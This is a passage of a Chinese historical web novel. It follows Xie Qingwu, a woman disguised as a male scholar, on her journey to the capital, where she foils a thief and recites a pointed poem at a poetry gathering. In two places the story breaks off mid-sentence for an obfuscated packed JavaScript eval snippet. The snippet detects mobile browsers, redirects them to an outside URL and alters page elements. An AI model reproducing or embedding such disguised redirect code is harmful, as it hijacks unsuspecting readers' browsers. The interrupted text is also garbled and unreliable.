秋风过院,槐叶簌簌落下。谢青梧看着这个世家公子,忽然觉得,自己或许一直小看了他。 “顾公子此来,不只是为了说这些吧?”她问。 顾临渊从袖中取出一封信,递过来:“陈大人让我捎给你的。” 谢青梧拆开信,里面只有一句话:“京中已备,静待。” 她指尖微颤。 “陈大人明年调任礼部,主管会试。”顾临渊缓缓道,“他让我告诉你,若真有心,明年秋闱后直接进京。保人、手续,他替你办。” 这是天大的机会,也是天大的风险。 陈学政这是明摆着要当她的靠山。可这样一来,她也就打上了“陈派”的烙印,将来朝堂上难免牵扯。 “为什么要帮我?”谢青梧抬眼。 顾临渊看着她,忽然笑了:“谢怀瑾,你是不是总觉得,这世上没人会无缘无故对你好?” 谢青梧不语。 “我帮你,是因为觉得你值得。”顾临渊起身,走到槐树下,“我生在顾家,从小见的都是算计、权衡、利益交换。我父亲教我的第一课就是:这世上没有无缘无故的好,只有等价交换。” 他转过身,目光清亮:“但你不一样。你救人,写文章,甚至替那个林疏影出头,都不是为了换什么。你是真的……相信一些东西。” 相信女子也能立起来,相信微弱的星火终能燎原,相信这世道可以变好。 “我相信,是因为见过。”谢青梧轻声道。 见过她生母在深宅里枯萎,见过街坊妇人被丈夫打得遍体鳞伤却无处可去,见过林疏影差点被族人生吞活剥。 “所以我想试试。”她说,“试试能不能让这些事,少一些。” 顾临渊看了她许久,最后点点头:“那就试吧。陈大人那边,我替你应下了。” “顾公子……” “叫我临渊。”他打断她,“既然要一起走这条路,就别公子来公子去的,生分。” 谢青梧从善如流:“临渊兄。” 顾临渊笑了,这次是真心的笑:“这还差不多。”他从怀里掏出个小木盒,“这个给你。” 谢青梧打开,里面是一枚印章。青玉雕成,刻着“怀瑾”二字,边上有小小的火纹。 “我自己刻的。”顾临渊有点不自在,“手艺一般,你将就用。” 岂止是一般,这章子刻得其实很精致。谢青梧握在手里,温润沁凉。 “多谢。” “别谢太早。”顾临渊正色道,“京中情况,我得跟你说说。” 他坐下来,细细讲了京城如今的局势:皇帝年迈,几位皇子明争暗斗;朝中分了好几派,陈学政属于清流一系,不站队,但也因此被各方拉拢。 “你以陈大人门生的身份进京,难免被贴上标签。”顾临渊道,“但好处是,清流一系最重名声,只要你文章够好,品行端正,他们就会护着你。” 谢青梧认真听着,心里快速盘算。 “还有,”顾临渊压低声音,“锦衣卫最近在查江南的案子,可能会牵连到一些人。你进京路上,尽量低调。” 锦衣卫。谢青梧心头一跳,面上却不动声色:“我知道了。” 送走顾临渊,已是傍晚。 慕容芷回来了,说包车去京城要三十两,走官道的话,得走一个多月。 “太慢。”谢青梧摇头,“我们走水路,到扬州换船,直抵京城。虽然贵些,但快。” 慕容芷点头:“那我明天去问船。” “不急。”谢青梧看着她,“阿芷,你伤好了,有些话该说了。” 慕容芷神色一凛。 两人进了屋,关上门。油灯跳动着,在墙上投下摇曳的影子。 “你的仇家,是什么人?”谢青梧问。 慕容芷沉默许久,才开口:“锦衣卫。” 谢青梧指尖一颤。 “我父亲曾是北镇抚司的百户。”慕容芷声音很平,像在说别人的事,“三年前,他查一桩私盐案,查到了某位大人头上。后来……他就‘暴病身亡’了。” 她顿了顿:“我那时在外祖家学武,逃过一劫。这些年东躲西藏,直到上月,被他们的人找到。” “林姑娘怎么救的你?” “我逃到江州时,伤重晕在路边,是林姑娘的车夫发现了我。”慕容芷抬眼,“公子若觉得我是麻烦,我现在就走,绝不连累您。” 谢青梧没说话,手指轻轻敲着桌面。 锦衣卫的追杀,这不是小事。收留慕容芷,就等于和锦衣卫结了梁子。可若赶她走…… “你会被找到吗?”她问。 “暂时不会。”慕容芷道,“我甩掉了尾巴,又换了身份。林姑娘帮我弄了新的路引,用的是她远房表妹的名字。” “叫什么?” “慕容止。止步的止。” 谢青梧笑了:“这名字好。到此为止。” 她起身,走到窗边。夜色已浓,远处有狗吠声。 “留下吧。”她回头,“我这儿,正好缺个能打的人。” 慕容芷眼眶一红,跪了下去:“公子大恩,慕容芷此生必报。” “起来。”谢青梧扶她,“但我有个条件。” “您说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946679|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “从此以后,你是慕容止,是我的护卫。过往的事,到此为止,不要再提,也不要再寻仇。”谢青梧盯着她,“你能做到吗?” 慕容芷咬唇,良久,重重点头:“能。” “那就好。”谢青梧松开手,“去睡吧。明天开始,我们要准备进京的事了。” 慕容芷退出去后,谢青梧独自坐了许久。 桌上摆着顾临渊送的印章,陈学政的信,还有林疏影托人捎来的银票,二百两,说是铺子的分红。 她一样样看过去,心里清楚,这些人和物,正在织成一张网。 一张托举她向上,也束缚她自由的网。 但她没有选择。要想走远,就得借力;要想做事,就得有依靠。 只是这依靠,将来会不会变成枷锁? 她吹熄灯,躺下。黑暗中,忽然想起顾临渊那句话:“你这把火,烧得太早了。” 不早。她在心里说。 已经有很多人等了一辈子,等到死,也没等到火光亮起。 她不能再等。 三日后,县学的推举名单正式公布。果然没有谢青梧。 李庸特意来找她,一脸歉意:“怀瑾,这事……我尽力了。但上头压着,我也没办法。” “学生明白。”谢青梧道,“多谢山长。” 李庸看着她平静的脸,叹了口气:“你打算怎么办?” “学生打算自己进京。”谢青梧道,“已经托人办了手续,找好了保人。” 李庸愣了愣:“保人是谁?” “陈学政。” 李庸倒吸一口凉气,随后又释然了:“也是,以你的才学,陈大人赏识也是应该的。”他拍拍谢青梧的肩,“好好考,给咱们江州争光。” 送走李庸,谢青梧开始收拾行装。书要带,笔墨要带,那方青玉印章也要带。慕容芷在一旁帮忙,手脚麻利。 “公子,谢家那边……要不要去辞行?”她问。 谢青梧手顿了顿:“不用。” 自那日立契后,谢家再没人来找过她。仿佛她这个庶子,真成了泼出去的水。 也好。干净。 出发前夜,周子砚来了,背着一大包东西。 “这是我娘做的糕饼,路上吃。”他把包袱塞给慕容芷,又掏出一本书,“这是我爹珍藏的历年会试佳作,你带着,路上看。” 谢青梧接过书,心里发热:“替我谢谢伯父伯母。” 周子砚眼眶有点红:“怀瑾,此去京城,千里之遥。你……保重。” “你也是。”谢青梧看着他,“明年秋闱,我等你来京城。” 周子砚重重点头:“我一定考中!” 两人又说了一会儿话,周子砚才依依不舍地离开。慕容芷去栓院门,回来时,见谢青梧站在槐树下,仰头看天。 “公子,夜深了,该睡了。” “阿芷。”谢青梧没回头,“你说,京城是什么样子?” 慕容芷沉默片刻:“很大,很繁华,也很……冷。” “你去过?” “小时候跟父亲去过一次。”慕容芷声音很低,“街上很多人,楼很高,但每个人都行色匆匆,没人多看谁一眼。” 谢青梧笑了:“那倒好。没人注意,才方便做事。” 她转身回屋:“睡吧。明天一早出发。” 翌日清晨,天还没亮透。 谢青梧最后看了一眼这个小院,她住了不到一个月,却觉得比在谢家十几年都自在。 锁上门,钥匙交给房东。主仆二人背着行囊,走向渡口。 晨雾蒙蒙,江面上泊着几艘客船。船夫在吆喝着招揽客人,挑夫扛着货物上上下下。 谢青梧找到预定的船,正要上去,身后忽然传来马蹄声。 回头一看,竟是顾临渊。 他骑在马上,一身玄色劲装,像是要出远门的样子。 “这么巧?”谢青梧挑眉。 “不巧。”顾临渊翻身下马,“我要回京,正好同路。” 谢青梧看看他,又看看他身后的两匹马:“顾公子不是要骑马回京?” “骑马太累,改坐船了。”顾临渊面不改色,“怎么,谢公子不欢迎?” “岂敢。”谢青梧侧身,“请。” 顾临渊把马交给小厮,跟着上了船。船家是个老把式,见客人齐了,便吆喝一声:“开船喽——” 船桨划开水波,客船缓缓离岸。 谢青梧站在船头,看着江州城在晨雾中渐渐远去。城门,街道,县学,谢家……都模糊成一片灰影。 “舍不得?”顾临渊走到她身边。 “没有。”谢青梧摇头,“只是觉得,这一走,就真的回不去了。” “本来也没打算回去吧。”顾临渊看向她,“你不是那种会回头看的人。” 谢青梧没说话。 江风猎猎,吹起她的衣摆。远处,朝阳正冲破云层,把江面染成金红。 前路漫漫,水阔天长。 她握紧栏杆,轻声说:“走吧。” 船顺流而下,驶向更远的地方。 14. 水路 船在江上走了三日。 头两日风平浪静,谢青梧在舱里看书,顾临渊偶尔过来聊几句。慕容芷一直很警惕,夜里几乎不睡,守在舱门外。 第三日傍晚,船停靠在临江驿码头补给。这是个热闹的水陆码头,船来船往,挑夫、商贩、旅人挤在窄窄的栈桥上。 顾临渊说要下船买些东西,带着小厮去了。谢青梧站在船头透气,看着码头上的人来人往。 “公子。”慕容芷走过来,声音压低,“有人盯梢。” 谢青梧不动声色:“几个?” “两个。一个在茶棚,一个在货摊,半柱香换一次位置。”慕容芷目视前方,像在欣赏江景,“看步伐,练家子。” “冲你来的?” “不像。”慕容芷摇头,“他们看的……是咱们的船。” 谢青梧心思转得飞快。这船是顾临渊安排的,船上除了他们主仆和顾家小厮,还有五六个散客。盯梢的人,是冲顾临渊,还是冲她? 正想着,顾临渊回来了,手里提着个油纸包。 “临江驿的桂花酥,尝尝。”他递过来,目光扫过码头时,微微一顿,“有人盯梢?” 谢青梧接过油纸包:“两个。阿芷发现的。” 顾临渊脸上笑容淡了:“看来有人不想我顺利回京。” “冲你来的?” “八九不离十。”顾临渊语气平静,“家父最近在查江南盐税,动了某些人的蛋糕。我这次南下,他们估计以为我是来拿证据的。” 谢青梧心里一沉。这种事,沾上就是麻烦。 顾临渊看她神色,反而笑了:“别担心。他们不敢在码头动手,最多跟到下一站。船明早就走,他们跟不上。” 话虽如此,夜里谢青梧还是睡得不踏实。舱外水声哗哗,偶尔有别的船经过,灯火在水面拖出长长的光带。 四更天时,她忽然醒了。 不是被声音吵醒,是一种本能的不安。她坐起身,侧耳细听,船还在行,水声规律,但似乎……太规律了。 她轻轻下床,拉开舱门一条缝。慕容芷坐在门外,听到动静立刻回头。 “公子?” “你听。”谢青梧低声道。 慕容芷凝神细听片刻,脸色变了:“桨声不对。多了一艘船,在后面跟着。” 谢青梧心念电转:“去叫顾公子。” 话音刚落,隔壁舱门开了。顾临渊披着外衣出来,显然也没睡。 “听到了?”他问。 谢青梧点头。 三人走到船尾,借着月光,果然看见后方三十丈外跟着一艘乌篷船。船不大,没有挂灯,黑黢黢的像个影子。 “跟了多久?”顾临渊问。 “至少半个时辰。”慕容芷道,“他们在减速,我们快他们也快,我们慢他们也慢。” 谢青梧盯着那艘船,忽然道:“不是白天那两个人。” “你怎么知道?” “白天的盯梢是为了确定目标,现在既然跟上了,就不会再派同批人。”谢青梧分析,“而且那艘船吃水很浅,上面最多三四个人。如果是杀人灭口,不会只派这么点人。” 顾临渊眉头一挑:“你是说……” “他们不是来杀人的。”谢青梧看向他,“是来偷东西的。或者……栽赃。” 这话一出,顾临渊脸色变了。他从江南带回来的东西里,确实有几封要紧的信函。若被栽赃些别的…… “我去处理。”慕容芷道。 “等等。”谢青梧拦住她,“他们既然敢跟来,肯定有把握不被发现。你现在过去,反而打草惊蛇。” “那怎么办?” 谢青梧沉思片刻,忽然笑了:“让他们来。” 她转身回舱,不多时拿出一件披风、一个包袱。她把披风递给顾临渊:“穿上这个,去船头站着,让他们看清是你。” 顾临渊懂了:“你想让他们以为我还在舱外?” “对。”谢青梧把包袱塞进他怀里,“这里头是我换下来的衣裳,你抱着,装作很紧张的样子。阿芷,你护送顾公子去船头,然后守在舱门外,做出严防死守的架势。” 慕容芷不解:“那舱里……” “舱里我来布置。”谢青梧眼里闪着光,“他们既然要偷,就让他们偷个‘好东西’。” 她让顾临渊和慕容芷依计行事,自己回舱快速收拾。书箱挪到角落,被褥铺开,装作有人睡觉的样子。然后她从行囊里取出一个木盒,那是装印章和私信的,平时都随身带着。 她从书箱底层翻出一本旧账册,那是林疏影铺子的流水,数字密密麻麻。又把周子砚给的那本会试佳作拆开,取了几张空白页。 研墨,提笔。 她飞快地在空白纸上写了几行字,用的是左手,字迹歪歪扭扭,像匆忙间记下的笔记。写完后折好,和账册一起放进木盒。 最后,她从随身荷包里取出一个小瓷瓶,倒出一点粉末,撒在木盒边缘。 做完这些,她把木盒塞到床铺底下,只露出一角。然后吹熄灯,躲到舱门后的阴影里。 一切就绪。 约莫过了一炷香时间,船尾传来极轻的水声。有人从乌篷船跳过来了。 谢青梧屏住呼吸。 舱门被轻轻推开一条缝,月光泻进来。一个黑影闪身而入,动作很轻,几乎无声。 黑影在舱里快速扫视,目光落在床铺下的木盒上。他蹑手蹑脚走过去,抽出木盒,打开看了一眼,似乎很满意,立刻合上揣进怀里。 正要离开,忽然顿住了。 他回头看向床铺,犹豫了一下,伸手去掀被子——空的。 黑影意识到不对,转身就要跑。 “既然来了,喝杯茶再走?” 谢青梧从阴影里走出来,手里举着油灯。灯火映着她的脸,平静得可怕。 黑影僵在原地。舱门外,慕容芷和顾临渊堵住了去路。 “盒子还回来,说说谁派你来的。”谢青梧声音温和,“或者我让护卫打断你的腿,再慢慢问。” 黑影盯着她,忽然笑了:“小公子,你以为就你们三个人,拦得住我?” 他话音未落,袖中滑出一把匕首,直刺谢青梧面门。 慕容芷动了。 她动作快得像道影子,几步欺近,右手扣住黑影手腕一拧。咔嚓一声脆响,匕首落地。左手一掌拍在黑影胸口,把他打得撞在舱壁上。 整个过程不过眨眼之间。 黑影闷哼一声,捂着胸口,惊骇地看着慕容芷:“你……你是……” “盒子。”慕容芷伸出手。 黑影咬牙,从怀里掏出木盒扔过去。慕容芷接住,检查无误,退到谢青梧身边。 顾临渊这时走进来,看着黑影:“谁派你来的?” 黑影闭口不言。 “不说也行。”谢青梧走过去,捡起掉在地上的账册——刚才打斗时从盒里掉出来了。她翻开一页,指着上面的数字,“这是江南三家盐商的走货记录,时间、数量、经手人,清清楚楚。” 黑影瞳孔一缩。 “你猜,你背后的主子要是知道,这么重要的东西被你弄丢了,会怎么对你?”谢青梧合上账册,“当然,你也可以说我们诬陷你。但你觉得,他们是信你这个贼,还是信顾首辅的公子?” 黑影额角冒出冷汗。 顾临渊适时开口:“你说了,我保你不死。不说,我现在就把你扔江里喂鱼。” 沉默良久,黑影嘶声道:“是……是扬州转运使王大人的人。” “王崇年?”顾临渊眼神冷了,“他让你偷什么?” “信。顾公子从江南带回来的信。”黑影道,“王大人说,只要拿到信,顾首辅查盐税的事就能缓一缓。” “信呢?” “在顾公子的书箱里,我们已经……”黑影话没说完,忽然脸色发青,捂着喉咙倒下。 慕容芷上前查看,摇头:“毒发了,齿间□□。” 人已经没气了。 顾临渊脸色难看:“王崇年这条老狗,手伸得真长。” 谢青梧蹲下身,在黑影身上搜了搜,找出个腰牌,上面刻着“漕运司”三个字。她递给顾临渊:“人死了,但证据还在。” 顾临渊接过腰牌,握紧:“多谢。” “不必。”谢青梧起身,“现在的问题是,这尸体怎么处理?” 慕容芷道:“扔江里。” “不妥。”谢青梧摇头,“万一漂到岸边,被人发现,反而麻烦。” 她想了想:“船上有麻袋吗?装些石头,沉江。腰牌留着,将来有用。” 慕容芷点头,拖着尸体出去了。 舱里只剩下两人。顾临渊看着谢青梧,眼神复杂:“你刚才说的盐商账册……” “假的。”谢青梧从木盒里拿出那几张纸,“我现写的。左手写的,模仿商贾记账的笔迹。” 她翻到其中一页:“你看这里,‘三月初七,盐三百引,经手刘五’。刘五是江州府有名的地痞,专收赃货。王崇年要是真去查,就会发现刘五确实常在码头活动,但跟盐商没关系,只是凑巧。” 顾临渊接过纸细看,越看越心惊。这伪造的账册,时间、人名、数量都对得上,而且留了破绽——破绽很小,但要真去查,就会发现是假的。 “你……你怎么知道这些?”他问。 “林疏影跟我提过。”谢青梧道,“她做布匹生意,常跟码头的人打交道。刘五这种人,黑白两道都熟,拿来当幌子最合适。” 顾临渊沉默良久,才道:“你胆子太大了。万一他当场打开看穿怎么办?” “他不会。”谢青梧笃定,“做贼心虚,他拿到盒子只想赶快走,不会细看。而且我撒了药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946680|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉,他手上沾了,会发痒,更没心思检查。” 顾临渊这才注意到,自己的手背不知何时也红了一小片,微微发痒。 “这药……” “治外伤的。”谢青梧有点不好意思,“副作用是会让人皮肤发痒,但不伤身,过两个时辰就好了。” 顾临渊哭笑不得。 这时慕容芷回来了,说处理干净了。谢青梧让她去打水洗手,又给了她解痒的药膏。 天快亮时,乌篷船消失了。大概是发现同伙没回去,知道事情败露,撤了。 船继续前行。 早饭后,顾临渊来找谢青梧,手里拿着个小册子。 “这个给你。”他递过来,“王崇年这些年贪赃枉法的证据,我抄了一份。” 谢青梧没接:“这是顾首辅要用的,给我做什么?” “你不是要进京吗?”顾临渊道,“京城那潭水,比江南还浑。这些资料,你留着,说不定哪天用得上。” 谢青梧看着他:“临渊兄,我是去考科举的,不是去掀人老底的。” “我知道。”顾临渊笑了,“但科举考完了呢?你总要入朝,总要站队。多知道些事,没坏处。” 这话在理。谢青梧接过册子,翻开看了几眼,里面记得很详细:某年某月,王崇年收了多少银子,办了什么事,经手人是谁。 “这些……都是真的?” “我父亲查了半年,错不了。”顾临渊眼神冷下来,“朝廷每年拨给漕运的银子,三成进了他口袋。江南盐税亏空,他占大头。” 谢青梧合上册子:“那你打算怎么办?” “回京,交证据,看我父亲怎么处置。”顾临渊顿了顿,“但王崇年背后还有人,动他,就是动他身后那一串。” “你不怕?” “怕。”顾临渊很坦然,“但怕也得做。有些事,总得有人做。” 船又行了几日,进入京畿地界。江面越来越宽,两岸的景色也繁华起来。码头一个接一个,商船、客船、官船往来如织。 这日午后,船停靠在通州码头,这是进京前最后一站。船家说,要在这里补给,明日一早换小船进京城水道。 码头上人声鼎沸。谢青梧下船透气,慕容芷寸步不离地跟着。顾临渊说要去找朋友,带着小厮走了。 通州不愧是京畿门户,街市比江州府还要热闹。绸缎庄、酒楼、茶肆鳞次栉比,行人衣着光鲜,连拉车的马都膘肥体壮。 谢青梧在街上慢慢走,目光扫过两旁的店铺。一家书局吸引了她的注意,店面不大,但招牌上写着“翰林旧书”四个字。 她走进去,书架上整整齐齐码着各类书籍,经史子集都有。店主是个清瘦的中年人,正在整理书目。 “公子想找什么书?”店主抬头问。 “随便看看。”谢青梧走到书架前,随手抽出一本,是前朝诗集。翻开扉页,上面有藏书印,刻着“沈氏墨香阁”。 她心头一跳:“店家,这书……是沈墨沈山长的旧藏?” 店主讶然:“公子认得沈山长?” “久仰大名。”谢青梧合上书,“沈山长的书,怎么会流到通州来?” 店主叹道:“沈山长前年病逝,家人扶灵回乡,带不走的藏书便散了出来。我这里收了几本,都是珍品。” 谢青梧低头看着那枚印章。沈墨,当朝大儒,曾官至礼部尚书,致仕后主持白鹿书院,门生遍天下。她读过的很多文章,都引过沈墨的注疏。 “这本书多少银子?” “十两。” 不便宜。但谢青梧还是买了。她抱着书走出书局,心里有种奇妙的连接感,仿佛通过这本书,触摸到了京城文脉的一角。 回到码头时,夕阳西下。顾临渊已经回来了,站在船边等她。 “买了什么?”他问。 谢青梧把书递过去。顾临渊看到扉页的印章,眼神柔和下来:“沈山长的书……你眼光不错。” “临渊兄认得沈山长?” “家父曾是沈山长的学生。”顾临渊道,“我小时候,沈山长常来府里,教我读过书。他老人家的学问,是这个。” 他竖起大拇指。 谢青梧捧着书,忽然觉得沉甸甸的。这不是一本书,是一段传承,一种期许。 夜里,她坐在灯下翻看这本诗集。沈墨的批注很细,某句诗好在哪里,某个典故出自何处,都写得清清楚楚。字迹清峻,有风骨。 翻到某一页时,她停住了。 那页的批注格外长,写的是前朝女诗人薛涛的一首诗。沈墨在末尾写道:“世人皆道薛涛才高命薄,然以女子之身,得诗名传世,已是不易。若逢明时,当不止于此。” 若逢明时,当不止于此。 谢青梧盯着这行字,看了很久。 窗外,京城的方向有隐约的灯火,明天就要到了。 15. 进京 进京那日,下了今冬第一场雪。 雪不大,细碎的雪花飘在护城河上,还没落下就化了。谢青梧站在船头,看着那座巍峨的城池一点点靠近,城墙比江州府高出一倍,城门洞深得像口井,来往的人流车马密密麻麻。 慕容芷在她身后低声道:“公子,到了。” 船靠岸,码头比通州还要热闹十倍。扛包的挑夫喊着号子,马车轱辘轧过石板路,商贩的吆喝声混在一起,嘈杂得让人耳鸣。 顾临渊先下船,回头伸手:“小心,码头滑。” 谢青梧搭着他的手跳上岸,站稳后立刻松开。顾临渊神色如常,吩咐小厮去雇车。 “先去我那儿住几天。”顾临渊道,“等找好院子再搬。” 谢青梧本想拒绝,但看看这人山人海的码头,又看看自己那两个包袱,点了点头:“叨扰了。” 顾家的马车很宽敞,里面铺着厚毯,角落还放着暖炉。慕容芷和顾家小厮坐在车辕上,马车缓缓驶入城门。 京城的主街叫朱雀大街,宽得能并行六辆马车。两旁店铺林立,酒楼茶肆的招牌一个比一个气派。行人衣着光鲜,连街上跑的狗都毛色油亮。 但谢青梧注意到,街角巷尾,仍有衣衫褴褛的乞丐蜷缩着。一个妇人抱着孩子跪在雪地里,面前摆个破碗,没人多看她们一眼。 “京城就是这样。”顾临渊顺着她的目光看去,“富的富死,穷的穷死。” 马车拐进一条清净些的巷子,停在座宅子前。门楣上悬着“顾府”的匾额,字是御笔亲题,金漆在雪光里微微发亮。 管家迎出来,看见谢青梧时愣了愣,随即恢复笑脸:“少爷回来了。这位是……” “谢怀瑾谢公子,我的客人。”顾临渊道,“收拾个清净院子出来,再派两个妥当人伺候。” 管家应声去了。顾临渊引着谢青梧往里走,穿过垂花门,绕过影壁,眼前豁然开朗,三进的院子,游廊曲折,假山池塘点缀其间。虽是冬日,仍有几株老梅开着,暗香浮动。 “你父亲……”谢青梧迟疑。 “他不在京。”顾临渊道,“去江南查案了,年前才回。这宅子平时就我和几个下人住,你不用拘束。” 说话间,管家已经安排好了院子,是西边一个独立小院,名叫“听竹轩”。三间房,带个小书房,窗外真有一片竹林,雪压竹叶,沙沙作响。 慕容芷把行李搬进去,手脚麻利地收拾起来。顾临渊站在院门口,看着屋里忙碌的身影,忽然道:“你这护卫,不简单。” 谢青梧神色不变:“林姑娘荐的,说是可靠。” “可靠是可靠。”顾临渊顿了顿,“但她手上茧子的位置……是常年握刀的手。寻常护院可练不出那种茧子。” 谢青梧抬眼看他。 顾临渊笑了:“放心,我不多问。你带来的人,自然有你的道理。” 他转身要走,又停住:“对了,明晚有个诗会,在城南望月楼。京里几个有名的才子都会去,你要不要来?” 诗会。谢青梧心里一动。这是结交同窗、扬名立万的好机会。 “我去。” “那好,明晚我来接你。”顾临渊摆摆手,“好好歇着。” 他一走,院子顿时安静下来。雪还在下,竹叶上的积雪越来越厚。慕容芷收拾完屋子,端了热茶过来。 “公子,顾公子他……”她欲言又止。 “他看出来了,但不会说。”谢青梧接过茶,“顾临渊这个人,看着纨绔,其实心里有数。他既然不问,咱们就当不知道。” 慕容芷点头:“那我这几天少出门。” “不用。”谢青梧道,“该怎样还怎样。越躲躲藏藏,越惹人疑心。” 她在窗边坐下,翻开那本沈墨批注的诗集。书页泛黄,墨香犹在,但写字的人已经不在了。 京城,她终于来了。 第二日晚,顾临渊果然来接她。他换了身月白锦袍,外罩银狐披风,衬得眉眼越发俊朗。谢青梧还是平常那身青衫,只加了件厚斗篷。 望月楼在城南,是京城有名的酒楼。三层飞檐,每层檐角都挂着一串风铃,风吹过时叮当作响。 诗会在三楼雅间。谢青梧跟着顾临渊上楼时,里头已经坐了好些人。都是年轻学子,最大的不过二十出头,个个衣着光鲜,谈笑风生。 “顾兄来了!”一个穿紫衣的公子起身招呼,目光落到谢青梧身上,“这位是……” “谢怀瑾,江州府的小三元。”顾临渊介绍,“怀瑾,这位是礼部侍郎家的公子,赵文启。” 谢青梧拱手行礼。赵文启上下打量她,笑道:“原来是谢公子,久仰。你那篇‘星火燎原’,我在京里都听说了。” 这话说得微妙。谢青梧只当没听出弦外之音:“谬赞了。” 陆续又介绍了几人,都是官宦子弟。谢青梧一一见礼,态度不卑不亢。有人对她好奇,有人不屑,也有人只是淡淡点头。 诗会开始,规矩是击鼓传花。花停在谁手里,谁就要以“雪”为题作诗。 第一轮花停在一个瘦高个手里。他叫李文远,父亲是御史。他起身踱了两步,吟道:“玉尘飞落九重天,覆尽人间万户檐。莫道寒冬无暖意,梅梢已报春来先。” 众人纷纷叫好。赵文启笑道:“李兄这诗,尾句出彩。寒冬将尽,春意已萌,好寓意。” 第二轮花传到顾临渊手里。他想了想,吟道:“夜雪叩窗棂,炉红茶烟青。忽忆江南岸,蓑衣钓寒汀。” 这诗淡,但意境好。谢青梧听出他诗里那点思乡之情,顾家祖籍江南,他来京城不过三年。 “顾兄诗风越发清雅了。”有人赞道。 第三轮,花停在了谢青梧面前。 满座目光都聚过来。江州府的小三元,到底有多少斤两,今晚就能见分晓。 谢青梧起身,走到窗边。窗外雪还在下,远处街市的灯火在雪幕里晕成一片光晕。她看着那些光,忽然想起码头那个乞讨的妇人。 “琉璃世界白玉京,”她开口,声音清朗,“朱门酒肉冻骨轻。” 头两句一出,雅间里静了一瞬。琉璃世界、白玉京,本是赞美雪景,但接上“朱门酒肉冻骨轻”,味道就变了。 谢青梧继续吟道:“谁家高阁暖红袖,何处深巷饥儿啼?” 后两句更直白。暖阁里的红袖添香,深巷中饥儿的啼哭,对比鲜明。 “愿化长风卷地起,”她顿了顿,声音陡然转高,“扫尽不平还太平!” 诗成,满室寂然。 这诗……太锐了。锐得不像是来交友,倒像是来砸场子的。 赵文启脸色不太好看:“谢公子这诗,气魄是足,只是……未免过于激愤了些。” “激愤吗?”谢青梧转身,脸上带着淡笑,“赵公子觉得,这京城里,有没有朱门酒肉,有没有深巷饥儿?” 赵文启语塞。 顾临渊这时开口:“怀瑾这诗,写的是实情。咱们坐在这暖阁里吟诗作对,外头确实有人冻着饿着。能看见,敢写出来,是胸怀。” 他这么一说,其他人也不好再驳。气氛有些尴尬。 就在这时,雅间的门被敲响了。一个小厮进来,对顾临渊低语几句。顾临渊脸色微变,起身道:“各位,家中有急事,我先走一步。怀瑾,你……” “顾兄自便。”谢青梧道,“我坐会儿也回去。” 顾临渊匆匆走了。诗会继续,但谢青梧那首诗像根刺,扎在每个人心里。接下来几轮作诗,都规规矩矩的,没人再敢写现实。 谢青梧乐得清静,自顾自喝茶。忽然觉得有道目光落在身上,抬头看去,是斜对面一个一直没说话的蓝衣公子。 那公子见她看来,举杯示意,眼神里有种探究的意味。 诗会散时,已近子时。雪停了,月亮从云层后露出来,照得街面一片银白。 谢青梧和慕容芷沿着长街往回走。夜里风寒,街上行人稀少,只有更夫敲梆子的声音远远传来。 走到一处巷口时,慕容芷忽然拉住她:“公子,有人跟着。” 谢青梧不动声色:“几个?” “一个。从望月楼出来就跟上了。”慕容芷低声道,“脚步很轻,功夫不错。” “能甩掉吗?” “能。”慕容芷看了看四周,“前面有片民居,巷子多,我带您绕路。” 两人加快脚步,拐进一条窄巷。巷子很深,两旁是高高的院墙。慕容芷拉着谢青梧连拐几个弯,最后躲在一处门洞的阴影里。 不多时,一个黑影追进巷子,在岔路口停住,似乎在判断方向。月光照在他脸上,是诗会上那个蓝衣公子。 谢青梧皱眉。她示意慕容芷等着,自己走了出去。 “这位兄台,”她站在月光下,“跟了一路,有事?” 蓝衣公子见行踪暴露,也不慌张,拱手道:“谢公子莫怪。在下陆执,锦衣卫北镇抚司小旗。” 锦衣卫。谢青梧心头一跳,面上却平静:“陆大人有何贵干?” “奉命查案。”陆执走近几步,目光在她脸上打量,“近日京城有几起案子,涉及江南来的学子。谢公子刚从江州来,按例要问问话。” “问话需要夜里跟踪?” 陆执笑了:“白天怕打扰公子雅兴。”他从怀里掏出个木牌,确实是锦衣卫的腰牌,“只是例行公事,问几句就走。” 谢青梧看着那腰牌,忽然想起慕容芷说过,她父亲曾是北镇抚司百户。她侧身让开路:“那请陆大人问吧。” 陆执却摇头:“这里不是说话的地方。谢公子住哪儿?我送公子回去,路上问。” 这话说得客气,但没给拒绝的余地。谢青梧看了眼慕容芷藏身的方向,点头:“有劳。” 三人走出巷子,沿着长街往顾府走。雪又下了起来,细细碎碎的。 “谢公子是江州府人?”陆执问。 “是。” “家里还有什么人?” “父母俱在,还有位兄长。”谢青梧答得简洁,“陆大人想问什么,不妨直说。” 陆执侧头看她:“谢公子爽快。那我直说了,王崇年,你认识吗?” 扬州转运使王崇年。谢青梧心里明白,这是冲顾临渊来的。锦衣卫查到了水路的事。 “听说过。”她道,“扬州转运使,朝廷命官。” “只是听说过?”陆执盯着她,“有人看见,王崇年的人曾在通州码头跟踪谢公子的船。” 谢青梧脚步不停:“陆大人说笑了。我一介书生,王大人跟踪我做什么?” “因为你和顾临渊同行。”陆执道,“顾临渊从江南带回了一些东西,王崇年想要。谢公子,那晚船上发生了什么,你最好说实话。” 